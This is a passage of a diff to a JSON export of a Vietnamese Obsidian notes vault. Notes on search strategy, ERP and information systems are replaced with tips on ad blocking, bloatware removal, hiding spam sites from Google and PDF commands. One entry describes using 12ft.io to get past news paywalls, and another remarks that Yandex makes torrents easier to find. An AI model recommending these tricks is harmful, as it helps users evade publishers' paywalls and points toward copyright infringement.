là *Chiến lược tìm kiếm (Search strategy)*, là một chủ đề nằm trong ngành [Khoa học thông tin](https://en.wikipedia.org/wiki/Information_science \"Information science - Wikipedia\"). Nhưng sau đó mình nhận ra nó thiên về việc tìm kiếm tài liệu liên quan, vốn là phần đã được nói ở trên, hơn là đưa ra những lập luận để có một kết luận rằng liệu những gì đã nói ở trên là đã vét cạn mọi cách hiệu quả nhất chưa. Dù sao thì mình cũng chưa tìm hiểu sâu về nó nên cũng có thể kết luận sai.\n\nMình nghĩ câu hỏi ban đầu là một chủ đề trong công cụ nghĩ. Và theo mình hiểu thì hiện tại cũng chỉ là chịu khó lần mò để xem người ta bàn thế nào, rồi đọc trong đống họ bàn để biết được từ khóa thôi. Rốt cuộc thì tất cả những gì bạn có từ bên ngoài là gợi ý, và bạn phải tự đánh giá xem gợi ý đó có giải quyết khúc mắc của bạn hay không. Hên thì thỏa mãn hết còn xui thì bạn cũng chỉ có thể cảm ơn sự giúp đỡ của họ rồi phải tự đi tiếp. Xếp hạng của Google hay câu trả lời của chuyên gia hay người có kinh nghiệm cũng chỉ là gợi ý mà thôi. Chứ bạn nghĩ với những nhà nghiên cứu thì khi họ đang đứng ở biên giới tri thức thì làm gì có cái khái niệm có sẵn nào trả lời cho họ được. Họ chính là những người **tạo ra khái niệm** cho những người như chúng ta xài. Thì về bản chất mình cũng đang làm công việc giống như họ thôi, chỉ là đi sau họ thôi. Bộ công cụ họ sử dụng để tạo ra khái niệm mới cũng là bộ công cụ bạn dùng để đi tìm khái niệm họ đã tạo ra. \n\nLĩnh vực nghiên cứu về môi trường nghĩ này cũng chỉ mới được để ý nhiều gần đây. Mình nghĩ hiện tại lĩnh vực này cũng chưa có câu trả lời tốt nhất cho bạn. Và có thể nó sẽ cùng giống như nhiều lĩnh vực khác, nghiên cứu được một hồi thì cũng lại gặp ngõ cụt? Có thể lý do cho ngõ cụt đó là vì vướng phải những câu hỏi chưa ai trả lời được của khoa học nhận thức và triết học tinh thần? Ngõ cụt là lý do của chính nó?\n\nHoặc cũng có thể có câu trả lời rồi mà mình chưa biết. Nếu vậy thì là mình cũng đang không biết từ khóa của nó để mà tìm, và cũng không có thời gian để tìm tiếp.\n\n## Đọc thêm\n- [[Khai thác một từ khoá]]\n- [Bản chất của sự mơ hồ](https://quảcầu.cc/ly-thuyet-ve-goc-nhin?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Hiểu+biết+sâu)&utm_medium=Vault&utm_campaign=hiểu+lầm%2Cnét+nghĩa+ẩn%2Cthay+đổi+góc+nhìn%2CHiện+tượng+học%2C+khoa+học+nhận+thức%2C+vật+lý+luận%2Chiện+tượng+học&utm_content=⚡Hiểu+biết+sâu%2FNghĩ+về+việc+nghĩ%2FHọc+tập%2C+hiểu+biết%2FLàm+sao+để+tìm+được+thứ+ta+cần+khi+ta+không+biết+từ+khoá+chính+xác+của+nó.md&utm_term=)\n- [[Nghịch lý triển ngôn]]\n- [[Xây dựng hệ thống tri thức cộng đồng|Xây dựng hệ thống tri thức cộng đồng: Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?]]\n- [[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình|Làm sao để giỏi hơn?]]\n\n\n%%\nĐầu tiên, hãy hiểu rằng một từ được định nghĩa bởi một tổ hợp các từ khoá khác. Ví dụ, một người nước ngoài đang học tiếng Việt khi muốn nói về con mèo nhưng không biết tiếng Việt gọi con mèo như thế nào, thì có thể họ sẽ hỏi một câu như này:\n> Thứ gì có đuôi dài, bốn chân, kêu meo meo ấy nhỉ?\n\n`đuôi dài`, `bốn chân`, `kêu meo meo` là những **từ khoá định nghĩa nên từ khoá**. Dù họ không biết từ khoá chính xác là gì, họ cũng có những từ khoá sát với từ khoá họ cần tìm nhất. Bạn cũng đang giống họ, cố tìm một từ khoá để nắm bắt một ý niệm mơ hồ, nhưng bạn cũng lại thấy nó không mơ hồ chút nào. Có lẽ đây chính là một ví dụ điển hình của [[Nghịch lý triển ngôn]].%%", + "Toàn bộ nội dung": "[Bloatware Removal Utility](https://github.com/arcadesdude/BRU)\r\nfor automating removal of pre-installed, factory bloatware from devices running Windows 7-10 and newer. Silently removes items selected if possible. Preselects common bloatware. Can remove Win10 UWP/Metro/Modern/Windows Store apps and provisioned apps\r\n\r\n[android-bloatware](https://github.com/jaredsburrows/android-bloatware)\r\nKeeping tracking of Bloatware that is safe to disable\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-04-24T02:02:00.000Z", - "Ngày cập nhật": "2024-09-02T09:28:00.000Z", - "id": "R8" + "Ngày tạo": "2023-06-10T04:18:00.000Z", + "Ngày cập nhật": "2024-07-16T17:09:00.000Z", + "id": "RM" }, { - "Tiêu đề": "Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Block/Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc", + "Tiêu đề": "Tiếng ồn chung để không phải nghe hát karaoke từ hàng xóm", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Tiếng ồn chung để không phải nghe hát karaoke từ hàng xóm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tuy nhiên, [[Khó có thể copy dữ liệu dạng block giữa các app khác nhau]]\r\nNguồn:: [[Maggie Appleton]], [https://maggieappleton.com/block-data](https://maggieappleton.com/block-data \"https://maggieappleton.com/block-data\")\r\n", + "Toàn bộ nội dung": "![💨 Winter Storm Ambience with Icy Howling Wind Sounds for Sleeping, Relaxing and Studying Background. - YouTube](https://youtu.be/sGkh1W5cbH4?si=GQ4S8UStutCVFwVY)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "R9" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-16T17:09:00.000Z", + "id": "RN" }, { - "Tiêu đề": "Khó có thể copy dữ liệu dạng block giữa các app khác nhau", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Block/Khó có thể copy dữ liệu dạng block giữa các app khác nhau", + "Tiêu đề": "Chặn quảng cáo trên trình duyệt", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Chặn quảng cáo trên trình duyệt", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Maggie Appleton]], [https://maggieappleton.com/block-data](https://maggieappleton.com/block-data \"https://maggieappleton.com/block-data\")\r\n", + "Toàn bộ nội dung": "# uBlock Origin\nThường mọi người thấy các trình duyệt hay giới thiệu Adblock. Nhưng nó không mạnh bằng\n## Chọn một element cụ thể\n![](https://user-images.githubusercontent.com/95879668/199072316-c25f97c2-b24f-4346-85e3-bd45f848bccb.png)\n[Element picker](https://github.com/gorhill/uBlock/wiki/Element-picker)\n# No thanks, I don't care about cookie\n# Facebook \nDùng [F.B. Purity - Clean up and Customize Facebook](https://www.fbpurity.com/)\n![](https://lh3.googleusercontent.com/e_zPSMC-g4edOvmPnkXUfdR598OqPz1JCqyGOQVJ9jBOe1m3Ikf4_dSgpLUbH_z-LvyY78t-Be4lDhXPC-nidwNrlGo=w640-h400-e365-rj-sc0x00ffffff) \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RA" + "Ngày tạo": "2023-06-01T14:15:00.000Z", + "Ngày cập nhật": "2024-07-16T17:09:00.000Z", + "id": "RO" }, { - "Tiêu đề": "Semantic web là một giấc mơ để tạo ra một thế giới có cấu trúc", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Cơ sở dữ liệu/Cơ sở dữ liệu dạng đồ thị/Semantic web là một giấc mơ để tạo ra một thế giới có cấu trúc", + "Tiêu đề": "FB purity giúp giảm rác Facebook", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/FB purity giúp giảm rác Facebook", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Cấu trúc]]\n\nNguồn:: ![Fetching Title#k2om](https://youtu.be/AHblHPLoKKE?si=-HazdbhwnN5Lcdp2&t=278)\n\n[[The Semantic Web is essentially a distributed-objects framework]]", + "Toàn bộ nội dung": "Link: [F.B. Purity - Clean up and Customize Facebook](https://www.fbpurity.com/)\n![](https://lh3.googleusercontent.com/e_zPSMC-g4edOvmPnkXUfdR598OqPz1JCqyGOQVJ9jBOe1m3Ikf4_dSgpLUbH_z-LvyY78t-Be4lDhXPC-nidwNrlGo=w640-h400-e365-rj-sc0x00ffffff) \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RB" + "Ngày cập nhật": "2024-08-02T08:48:00.000Z", + "id": "RP" }, { - "Tiêu đề": "The Semantic Web is essentially a distributed-objects framework", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Cơ sở dữ liệu/Cơ sở dữ liệu dạng đồ thị/The Semantic Web is essentially a distributed-objects framework", + "Tiêu đề": "Loại bỏ popup bằng Idontcareaboutcookies, No Thanks", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Loại bỏ popup bằng Idontcareaboutcookies, No Thanks", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Wikipedia]], [Object (computer science)](https://en.wikipedia.org/wiki/Object_(computer_science))\n\n[[Semantic web là một giấc mơ để tạo ra một thế giới có cấu trúc]] ", + "Toàn bộ nội dung": "[I don't care about cookies 3.4.7](https://www.i-dont-care-about-cookies.eu/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RC" + "Ngày tạo": "2023-06-06T08:36:00.000Z", + "Ngày cập nhật": "2024-07-16T17:09:00.000Z", + "id": "RQ" }, { - "Tiêu đề": "Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Cơ sở dữ liệu/Cơ sở dữ liệu dạng đồ thị/Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào", + "Tiêu đề": "Tránh bị nghiện mạng xã hội", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Tránh bị nghiện mạng xã hội", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [A Skeptics Guide to Graph Databases - David Bechberger - YouTube](https://youtu.be/yOYodfN84N4?t=2095)\n", + "Toàn bộ nội dung": "[Nudge | Get your time back](https://nudgeware.io/)\nRescueTime ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RD" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-16T17:09:00.000Z", + "id": "RR" }, { - "Tiêu đề": "DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Cơ sở dữ liệu/DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ", + "Tiêu đề": "Tập làm hacker", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Tập làm hacker", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://res.cloudinary.com/dg3gyk0gu/image/upload/c_scale,f_auto,q_auto:best,w_950/v1594114496/maggieappleton.com/databases-101/DB_3.jpg) \r\nNguồn:: [A Shelfish Starter Guide to Databases](https://maggieappleton.com/databases)\r\n", + "Toàn bộ nội dung": "[Home | Hacker101](https://www.hacker101.com/)\nDùng Yandex dễ kiếm torrent hơn", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RE" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-16T17:09:00.000Z", + "id": "RS" }, { - "Tiêu đề": "Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Cơ sở dữ liệu/Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng", + "Tiêu đề": "Đọc những trang thu phí bằng 12ft.io", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Đọc những trang thu phí bằng 12ft.io", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "`=[[Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú]].a`\n- Thống nhất giữa các người dùng dễ dàng\n- Đảm bảo các bên tham gia nhập dữ liệu cùng một format\n- Số biến có hạn, nhưng nhất quán\n\nCâu hỏi:: Làm kỹ vấn đề onboard là được?, Dùng template là được?\n[[Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng]]\n\n[[Dữ liệu dưới dạng văn bản là dạng dữ liệu phi cấu trúc]]\nKhai báo biến trong một file thì sẽ bị phân mảnh. Khai báo trong bảng thì là khai báo trước dữ liệu sau\n\nThêm trường mới dễ dàng\nTạo biến trên csdl trước rồi mới add vào sau\n\n\nQuản lý insight thì không tốt lmaws\n\nNếu insight tiến hoá thì \n\nOdoo thiên về xử lý nghiệp vụ \n\n\nMuốn lưu cái gì thì phải đi khai báo. Cái gì cũng khai báo thì \n\nKhi thấy cần dữ liệu gì thì mới đi track. Người có kinh nghiệm sẽ biết những dữ liệu gì cần tráck theo từng pha\n\n\nQuản lý csdl thì phải phân loại. CR7 mà unique. \n\nNếu tư duy từ template thì nên đi từ tư duy database, ko nên đi theo kiểu text\n\nPhần mềm không giúp cho việc quản lý công việc chi tiết\n\nInput → store → bisiness process → view output \n\nCần dùng gr\n", + "Toàn bộ nội dung": "[12ft Ladder](https://12ft.io/)\n### What?\n\nPrepend **12ft.io/** to the URL of any paywalled page, and we'll try our best to remove the paywall and get you access to the article.\n\n### Why?\n\nI believe Google Adwords killed the web. Google Adwords incentivized sites to peddle SEO optimized garbage. SiteBêns who aren't are forced to optimize for email capture so they can market directly to you. Search results now show \"news\", ads, and SEO spam instead of surfacing information.\n\nYou ought to be able to search something on Google and get an answer to your question without signing up for some newsletter. This is why I created [12ft.io](https://12ft.io/).\n\n### How does it work?\n\nThe idea is pretty simple, news sites want Google to index their content so it shows up in search results. So they don't show a paywall to the Google crawler. We benefit from this because the Google crawler will cache a copy of the site every time it crawls it.\n\nAll we do is show you that cached, unpaywalled version of the page.\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RF" + "Ngày tạo": "2023-06-06T08:32:00.000Z", + "Ngày cập nhật": "2024-07-16T17:09:00.000Z", + "id": "RT" }, { - "Tiêu đề": "Hệ thống thông tin", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Hệ thống thông tin", + "Tiêu đề": "Ẩn kết quả tìm kiếm rác trên Google", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Web/Ẩn kết quả tìm kiếm rác trên Google", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, + "Slug": "ẨnSEORác", "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ:: \nGiải pháp kỹ thuật:: [[Obsidian]]\n\n## Liệu các phần mềm hoạch định tài nguyên doanh nghiệp (ERP) có giải quyết được vấn đề đảo thông tin này không?\nCác phần mềm hoạch định tài nguyên doanh nghiệp ([enterprise resource planning](https://en.wikipedia.org/wiki/Enterprise_resource_planning \"Enterprise resource planning - Wikipedia\"), ERP) sẽ có những mô đun chuyên về quản lý tài chính. Tuy nhiên, với Kendy điều đó là không đủ. Đây là những yêu cầu cho một phần mềm quản trị mà Kendy cần. Thiếu một trong 3 đều không được:\n- [ ] Có khả năng tuỳ chỉnh theo đúng luồng làm việc, suy nghĩ của mình\n- [ ] Không phải dành quá nhiều thời gian để xây dựng hệ thống đó\n- [ ] Chi phí thấp\n\n### Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù\n![[Dùng ERP dựng sẵn.png]]\n\nCó hai loại công việc: [[Công việc khai phá và công việc khai thác]]. Công việc khai phá (exploration) là những công việc mà nếu ta chưa làm xong thì cũng không chắc lắm kết quả trông như thế nào, còn công việc khai thác (exploitation) là những công việc chưa làm cũng biết chính xác kết quả trông như thế nào. Công việc khai phá sử dụng dạng tư duy phi tuyến, và hợp với kiểu dữ liệu phi cấu trúc. Còn công việc khai thác sử dụng dạng tư duy tuyến tính, và hợp với kiểu dữ liệu có cấu trúc.\n\nBởi vì [[Công việc khai phá chính là quản lý kiến thức]], cho nên [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]]. Đây là thứ mà các ERP dựng sẵn này không đáp ứng được. Những người viết ra chúng tất nhiên cũng đã có những nghiên cứu khách hàng và cũng thiết kế nhiều lựa chọn để người dùng có thể tuỳ chỉnh ở một mức độ nào đó. Nếu không đáp ứng được nhu cầu đa số thì không thể nào giảm được chi phí sản phẩm cả. Tuy nhiên, sự dự đoán của các tác giả ấy về quy trình nghiệp vụ của một số khách hàng doanh nghiệp điển hình mà họ có thể nghĩ ra được cũng không thể nào bắt kịp được luồng làm việc và suy nghĩ thực tế của các cá nhân cụ thể. Mỗi người có một cách phân loại thông tin, yêu cầu về sự ngăn nắp thông tin, khối lượng thông tin và loại thông tin phải thường xuyên xử lý cũng khác nhau. Mỗi một luồng tư duy khác nhau có thể sẽ đòi hỏi những cách quản lý thông tin rất khác nhau. Và với một số người, cái mô đun quản lý kiến thức của chúng không gì chỉ làm cho có. Thà không dùng nó chứ dùng thì càng bực hơn. Các ERP này không đáp ứng nổi vai trò trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|một giàn giáo nhận thức]] của họ. \n\nHơn nữa, ngay cả khi chỉ xét đến mô đun về quản lý giao dịch của các ERP dựng sẵn, thì cũng giống như các phần mềm quản lý tài chính cá nhân được nói ở trên, dữ liệu được lưu trong đây vẫn bị cô lập trong ERP đó. \n\nChưa kể, cái gọi là chi phí thấp ở đây chỉ là miễn phí trong một số ngày, một số tính năng hoặc đầu người. Nhưng thường thì có trả tiền để dùng thì những tính năng đó cũng không hướng đến việc trở thành một nơi để quản lý tất cả mọi thứ.\n\n### Tự xây dựng ERP tốn rất nhiều thời gian\n![[Tự xây dựng ERP.png]]\nCó các phần mềm ERP mã nguồn mở như Odoo, và bạn có thể tự mình bổ sung thêm các tính năng để đảm bảo là nó sẽ theo đúng luồng làm việc, suy nghĩ của bạn, nhưng điều đó đòi hỏi bạn phải có kiến thức cũng như thời gian để lập trình. Điều này sẽ rất khó với người chưa từng lập trình bao giờ mà còn rất nhiều thứ khác phải làm. Nếu không ai code giùm cho thì Kendy thà chịu đau khổ chứ không thể nào tự học được, bởi vì [[Chi phí chuyển đổi giữa lập trình và nghiên cứu là lớn]]. Chưa kể, theo định luật Hofstadter: [[Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ|Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ, kể cả khi bạn đã tính đến định luật Hofstadter]].\n\nCũng không phải là Kendy không muốn học để tự xây dựng hệ thống cho mình, mà là kiếm lòi mắt cũng không thấy được người thực sự muốn chia sẻ. Theo trải nghiệm của Kendy khi hỏi trên các diễn đàn của Odoo, thì người trả lời thực ra chỉ muốn báo giá chứ không thực sự muốn chỉ. Vì dù là mã nguồn mở thì họ cũng xác định tập khách hàng của mình là doanh nghiệp.\n\n### Chi phí thuê lập trình viên để tự xây dựng ERP là quá cao\n![[Thuê lập trình viên.png]]\nNếu thuê lập trình viên thì thực sự không có tiền để thuê, và nếu có tiền thì cũng rất lệ thuộc vào họ. Việc xây dựng hệ thống là việc sửa mỗi lần một chút. Kendy không có đủ tiền cho quá nhiều lần điều chỉnh lắt nhắt như vậy.\n\n## Hiện nay đã có nhiều phần mềm ERP low code. Liệu có giải quyết được vấn đề này?\nKhái niệm low code được sinh ra dành cho những phần mềm không phải code nhiều nhưng người dùng vẫn có thể tạo ra được sản phẩm của mình. Airtable, Google Sheet, Excel là những ví dụ của low code.\n\nFibery cũng là một sản phẩm low code. Nó *hứa hẹn* giải quyết được 2 vấn đề sau:\n- Một nơi vừa để quản lý công việc vừa quản lý kiến thức\n- Có thể xây dựng hệ thống quản lý cho mình ngay mà không cần dùng tới code trong thời gian đầu\n\nĐây là lý do Kendy đã chọn Fibery, vì những cái rất cần trước mắt thì nó có thể đáp ứng. \n\nĐối với những người làm lập trình, cái gọi là low code chỉ là bình mới rượu cũ mà thôi. Nó từng có những cái tên như WYSIWYG, UI, rồi giờ thì nó được gọi là low code. Nó không được lòng người làm kỹ thuật cho lắm.\n\n[Một người bình luận](https://discord.com/channels/686053708261228577/700466324840775831/1072284305893638214):\n> Chúng được sinh ra chỉ để cho mục đích tiếp thị và khiến những người quản lý không có hiểu biết về kỹ thuật ra những quyết định tồi. \n\n[Một người khác](https://softwareengineering.stackexchange.com/questions/320227/what-is-low-code/320228#comment679977_320228):\n> Theo kinh nghiệm của tôi, những công cụ này được mấy người dùng doanh nghiệp dùng cho đến khi họ tự dồn mình vào chân tường. Rồi sau đó lập trình viên được gọi đến để gỡ một mớ rác lỗi hỗn độn khổng lồ đầy những phức tạp không cần thiết.\n\nThật ra, việc đánh đổi giữa sự đơn giản (simplicity) và khả năng xử lý những yêu cầu phức tạp (complexity) là một trong [[Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác]]. Nhưng thứ [[Lập trình viên khó chịu với hệ thống low code vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế|Lập trình viên khó chịu với hệ thống low code không phải vì nó ưu tiên sự tiện lợi và chi phí thấp cho người dùng, mà vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế]]. Mà [[Chấp nhận giải pháp mì ăn liền là đang mang nợ vào người]].\n\nPhải nói là điểm bán hàng độc nhất (unique selling point) của Fibery là sự đặt trọng tâm vào ý tưởng [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]] mà những ERP khác không làm được. Ngay tại trang chủ, Fibery đã tự giới thiệu bản thân là:\n> If you've outgrown Jira, Notion, Airtable, and ClickUp — and are ready to replace them\n\nTức là nó hiểu rất rõ nhược điểm của đối thủ. Nhưng rốt cuộc thì **nó vẫn là một sản phẩm dựng sẵn** không khác gì các đối thủ của nó. Việc Kendy sử dụng nó là vì từ đầu Kendy đã ở trong tình trạng phải xây dựng hệ thống quản lý càng sớm càng tốt, và không có ai có thể hỗ trợ giải đáp các vấn đề về lập trình. Không thể nói nó là giải pháp tạm đủ, mà nó là sự thoả hiệp đỡ tệ hại nhất trong hoàn cảnh hiện tại. Con đường này là con đường bất đắc dĩ lắm mới phải đi. \n\nXem thêm:: [[Nhược điểm của Obsidian và Fibery]]\n", + "Toàn bộ nội dung": "Các trang dưới đây chia thành 2 loại:\n- Từ điển copy của từ điển mở của Hồ Ngọc Đức\n- Cào web tiếng Anh rồi dùng Google dịch sang tiếng Việt để tăng SEO\n\nTôi block hết cho nhẹ.\n```\nen.bab.la\nvi.glosbe.com\nglosbe.com\nmymemory.translated.net\n3.vndic.net\nwww.rung.vn\nenglishteststore.net\nchiasekienthuc24h.com\ntratu.soha.vn\ndict.vietfun.com\nwww.indifferentlanguages.com\ndict.laban.vn\nvi.aliexpress.com\nnghialagi.net\nqastack.vn\nwww.it-swarm-vi.com\nhelpex.vn\nvi.sawakinome.com\nvi.strephonsays.com\nvi.thpanorama.com\nvi.sainte-anastasie.org\nvie.weblogographic.com\nvi.atomiyme.com\namp.vi.freejournal.org\nichi.pro\nalbert-camus.site\nvn.au1lib.org\nvn.vn1lib.org\ndelphipages.live\nwiki2th.com\nvi.lifehackk.com\nwww.greelane.com\nwww.it-mot-dan-vi.com\nvi.isecosmetic.com\nvi.yestherapyhelps.com\nwikipredia.net\ntr-ex.me\ntopbinhduong.net\nmimirbook.com\nwivi.wiki\nwiki.edu.vn\nvi.wiki5.ru\nwww.duhocchina.com\nkerchtt.ru\nvi.tr2tr.wiki\nvi.upwiki.one\nvi.eferrit.com\nhashdork.com\nhubm.edu.vn\npgdxuyenmoc.edu.vn\n```\n# Cách dùng\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/u0431tculpg?si=eQC7fXJ5k2Bd_svs\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen></iframe>\n\nDownload: [Google Hit Hider by Domain](http://www.jeffersonscher.com/gm/google-hit-hider/)\n\nXem thêm:: [[FB purity giúp giảm rác Facebook]]\nXem thêm:: [[Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó|Làm sao để tìm được thứ ta cần khi ta không biết từ khoá chính xác của nó?]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", - "id": "RG" + "Ngày tạo": "2023-05-30T09:07:00.000Z", + "Ngày cập nhật": "2024-08-03T07:51:00.000Z", + "id": "RU" }, { - "Tiêu đề": "Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)", + "Tiêu đề": "Chỉnh sửa PDF hàng loạt bằng cpdf", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/PDF/Chỉnh sửa PDF hàng loạt bằng cpdf", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Johnny.Decimal](https://johnnydecimal.com/) là một cách để sắp xếp file và folder một cách hiệu quả. Ban đầu mình cũng chỉ thấy hay nhưng chưa tính áp dụng, vì cũng đinh ninh là cách sắp xếp của mình gọn gàng logic. Cũng đúng là vậy thật, nhưng sau này mình mới thấy điểm mạnh của phương pháp nằm ở việc giúp bạn **search** hơn là để giúp bạn **navigate.** Nhưng nó chỉ hữu hiệu cho việc quản lý tài liệu của một dự án, chứ cho việc quản lý kiến thức thì lại thấy không hữu hiệu bằng.", + "Toàn bộ nội dung": "# Tách, nhập trang\n```PowerShell\ncpdf -split '.\\Tổng hợp scan.pdf' -o page%%%.pdf\ncpdf -split-bookmarks 0 a.pdf -o file%%%.pdf\ncpdf -merge a.pdf 1 b.pdf 2-end -o out.pdf\n```\n\n[2 Merging and Splitting](https://www.coherentpdf.com/cpdfmanual/cpdfmanualch2.html)\n\n# Xoá trang\n```PowerShell\ncpdf -merge '.\\Báo cáo công việc.pdf' 1 '.\\Báo cáo công việc.pdf' 3-end -o '.\\Báo cáo công việc.pdf'\n```\n\n# \n```PowerShell\n$i=1; while ($i -lt 152) {$j=$i+1; cpdf origin.pdf \"$i,$j\" -o \"$i-$j.pdf\"; $i=$i+2} 